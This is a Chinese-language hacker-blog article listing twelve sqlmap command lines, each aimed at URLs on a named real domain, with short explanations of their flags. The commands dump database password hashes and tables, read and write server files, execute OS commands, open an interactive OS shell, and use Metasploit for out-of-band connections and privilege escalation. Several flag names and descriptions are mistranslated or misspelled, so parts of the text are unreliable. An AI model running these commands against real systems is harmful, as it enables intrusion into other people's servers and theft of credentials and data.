Sqlmap引入操作 ***

hacker5年前黑客文章816

坚信许多都了解Sqlmap,可是却不清楚怎样根据sqlmap来引入对不对?

今日将实战演练教大伙儿怎样真实的应用sqlmap来引入?要是了解这12种方式,包你只必须应用Sqlmap这一个专用工具把握这12种使用 *** 就能打遍天下打遍天下;sqlmqp引入

 

Sqlmap引入操作 *** 1:

python /usr/bin/sqlmap.py -u https://www.fujieace.com/mysql/get_int.php?id=1 -f -b --current-user --current-db --users --passwords --dbs -v 0

-u                         总体目标详细地址

-f                          普遍指纹识别后端开发DBMS

-b                         查找DBMS条幅

--current-user      查找当今对话客户

--current-db         查找当今数据库查询

--users                 枚举类型数据库查询客户

--passwords         枚举类型数据库查询客户登陆密码散列

--dbs                    枚举类型能用的数据库查询

-v VERBOSE         详尽水平级別:0-6(初始值1)

 

Sqlmap引入操作 *** 2:

python /usr/bin/sqlmap.py -u https://www.fujieace.com/oracle/get_int.php?id=1 -b --passwords -U CU --union-use -v 2

-u                         总体目标详细地址

-b                         查找DBMS条幅

--passwords         枚举类型数据库查询客户登陆密码散列

-U                         特定数据库查询客户(cu,当今客户的别称)

--unlon-use         假如将会,根据联合查询sql注入查找数据信息

-v VERBOSE         详尽水平级別:0-6(初始值1)

 

Sqlmap引入操作 *** 3:

python /usr/bin/sqlmap.py -u https://www.fujieace.com/mssql/iis/get_str2.asp?name=fujieace --dump -T users -C surname -D testdb --start 2 --stop 3 -v 2

-u                         总体目标详细地址

--dump                复印表项

-T                         复印表(users)

-C                         复印列(surname)

--start                  之一个项键入(2,第二个报表顶端)

--stop                  最终一项键入(3,第三个报表顶端)

-v VERBOSE         详尽水平级別:0-6(初始值1)

 

Sqlmap引入应用 *** 4:

python /usr/bin/sqlmap.py -u https://www.fujieace.com/pgsql/get_int.php?id=1 --dump -C 'user.pass' -v 1 --exclude-sysdbs

-u                               总体目标详细地址

--dump                      复印表项

-C                               复印列(user.pass)

-v VERBOSE                详尽水平级別:0-6(初始值1)

--exclude-sysdbs       lgnore系统软件数据库查询(e.g.information_schema)

 

留意:沒有出示table名(-T选择项)

 

Sqlmap引入操作 *** 5:

python /usr/bin/sqlmap.py -u https://www.fujieace.com/oracle/get_int.php?id=1 --sql-shell -v 2

-u                               总体目标详细地址

--sql-shell                  造成一个互动式的sql shell

-v VERBOSE               详尽水平级別:0-6(初始值1)

 

Sqlmap引入操作 *** 6:

python /usr/bin/sqlmap.py -u https://www.fujieace.com/mssql/iis/get_int.asp?id=1 --read-file "c:\example.txt" -v 2

-u                               总体目标详细地址

--read-file                 文档以从更底层系统文件载入

-v VERBOSE               详尽水平级別:0-6(初始值1)

 

Sqlmap引入操作 *** 7:

python /usr/bin/sqlmap.py -u https://www.fujieace.com/pgsql/get_int.php?id=1 --write-file /etc/passwd --dest-file /tmp/writetest -v 2

-u                               总体目标详细地址

--write-file                上传文件到更底层系统文件(/ etc / passwd)

--dest-file                  肯定系统文件相对路径载入(/ tmp / writetest)

-v VERBOSE               详尽水平级別:0-6(初始值1)

< p> 

Sqlmap引入操作 *** 8:

python /usr/bin/sqlmap.py -u https://www.fujieace.com/pgsql/get_int.php?id=1 --os-cmd "id" -v 1

-u                               总体目标详细地址

--os-cmd   电脑操作系统指令实行(id)

-v VERBOSE               详尽水平级別:0-6(初始值1)

 

Sqlmap引入操作 *** 9:

python /usr/bin/sqlmap.py -u https://www.fujieace.com/mysql/get_int.aspx?id=1 --os-shell -v 1 --union-use

-u                              总体目标详细地址

--os-shell                  转化成互动式命令提示符

---union-usea           假如将会得话,根据联合查询SQL引入应用petrieve数据信息

-v VERBOSE               详尽水平级別:0-6(初始值1)

 

 

Sqlmap引入操作 *** 10:

python /usr/bin/sqlmap.py -u https://www.fujieace.com/pgsql/iis/get_int.aspx?id=1 --os-pwn --msf-path /home/inquis/software/metasploit --priv-esc -v 1

-u                              总体目标详细地址

--os-pwn                  创建客户和数据库查询集群服务器的带外连接

--msf-path                metasploit系统文件相对路径(/home/inquis/software/metasploit)

--prive-esc                试着将数据库查询过程的用户权限提高到系统软件

-v VERBOSE               详尽水平级別:0-6(初始值1)

 

Sqlmap引入操作 *** 11:

python /usr/bin/sqlmap.py -u https://www.fujieace.com/mysql/get_int.php?id=1 --os-pwn --msf-path /home/inquis/software/metasploit -v 1

-u                              总体目标详细地址

--os-pwn                  创建客户和数据库查询集群服务器的带外连接

--msf-path                metasploit系统文件相对路径(/home/inquis/software/metasploit)

-v VERBOSE               详尽水平级別:0-6(初始值1)

 

Sqlmap引入操作 *** 12:

python /usr/bin/sqlmap.py -u https://www.fujieace.com/mssql/iis/get_int.asp?id=1 --os-bof -v 1 --mst-path ~/software/metasploit

-u                              总体目标详细地址

--os-bof                    根据运用微软公司sql *** 服务器跨站脚本攻击(MS09-04)创建客户和数据库查询集群服务器的带外连接,

--msf-path                metasploit系统文件相对路径(/home/inquis/software/metasploit)

-v VERBOSE               详尽水平级別:0-6(初始值1)

标签: 黑客技术

相关文章

在渗透测试中使用fuzz技术

在渗透测试中使用fuzz技术

前言:本文翻译自sans.org,有删节。在学习sulley的过程中发现中文参考资料很少,所以抛砖引玉翻译一下,希望对学习协议fuzz测试的同学有帮助。本文适合作为学习sulley协议测试过程中参...

记一次绕过垃圾防注入系统过程

记一次绕过垃圾防注入系统过程

今天无聊在帮一个站做渗透测试的时候,旁注找到一个asp企业站,asp好站拿点嘛,所以还是非常开心的,其中一个asp站,有这样的链接: http://www.xxx.cn/news_list....

谈谈各种解析漏洞总结

一、IIS 5.x/6.0解析漏洞 IIS 6.0解析利用方法有两种 1.目录解析 /qxz.asp/qxz.jpg 2.文件解析 qxz.asp;.jpg 第一种,在网站下建立...

看着你的秘密——网络嗅探技术简介

 嗅探器(Sniff)是能够捕获网络报文的设备,可以理解为一个安装在计算机上的窃听设备,它可以用来窃听计算机在网络上所产生的众多的信息,今天给大家简单讲讲嗅探技术。 一、原理及分类 要了解嗅...

黑客技术入门

黑客是需要不断学习的,一旦网上出现了新的技术,黑客就有了新的工作,他们必须在很短的时间内了解该技术的最基本的进程,这里说的 就是掌握干技术的核心技巧,,深入的了解该程序的运转,如果一个黑客停止了对...

linux下忘记mysql root密码解决办法

引言:在linux系统中,如果忘记了MySQL的root密码,有没有办法重新设置新密码呢? 答案是肯定的,下面教大家一个比较简单的重置MySQL root密码的办法: 1、编辑MySQ...